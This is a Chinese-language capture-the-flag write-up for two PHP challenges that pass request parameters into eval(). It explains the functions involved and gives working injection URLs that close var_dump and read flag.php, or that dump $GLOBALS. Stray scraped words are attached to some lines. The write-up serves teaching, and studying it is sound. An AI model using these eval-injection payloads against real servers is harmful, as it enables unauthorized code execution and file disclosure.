地址:http://123.206.87.240:8003/php
<?php include "flag.php"; $a = @$_REQUEST['hello']; eval( "var_dump($a);"); show_source(__FILE__); ?>
涉及到的幾個函數:
1.$_REQUEST: 能夠獲取以POST方法和GET方法提交的數據,可是速度比較慢 html
2.eval: 把字符串按照 PHP 代碼來計算,該字符串必須是合法的 PHP 代碼,且必須以分號結尾。正則表達式
<?php eval("echo'hello';echo' world';"); ?> # output hello world
3.var_dump: 函數用於輸出變量的相關信息函數
# 數字 var_dump(1); > int(1) # 字符串 var_dump("string"); > string(6) "string"
eval應該是此題的突破口,可以執行php代碼。
hello是接受參數的變量,接下來就是構建hello變量,使其可以閉合var_dump,利用print_r輸出url
首先閉合var_dump: 1)";
第二步構建print_r:print_r(file("./flag.php"));
spa
URL構建結束:http://123.206.87.240:8003/index.php?hello=1);print_r(file("./flag.php")
.net
構建的URL觸發的 eval操做爲eval("var_dump(1);print_r(file("./flag.php")")
code
成功輸出 flag.php 文件內容htm
1.echo(),print(),print_r()之間的區別?
2.PHP file() 函數ip
flag In the variable ! <?php error_reporting(0); include "flag1.php"; highlight_file(__file__); if(isset($_GET['args'])){ $args = $_GET['args']; if(!preg_match("/^\w+$/",$args)){ die("args error!"); } eval("var_dump($$args);"); } ?>
isset: 用於檢測變量是否已設置而且非 NULL。
prep_match: 用於執行一個正則表達式匹配。
flag In the variable ! 提示 flag 在變量中
根據!preg_match("/^\w+$/",$args)
得知,arg只能是任意字母,數字,下劃線,漢字的字符組成
eval("var_dump($$args);");
使$GLOBALS變量被輸出便可
url: http://123.206.87.240:8004/index1.php?args=GLOBALS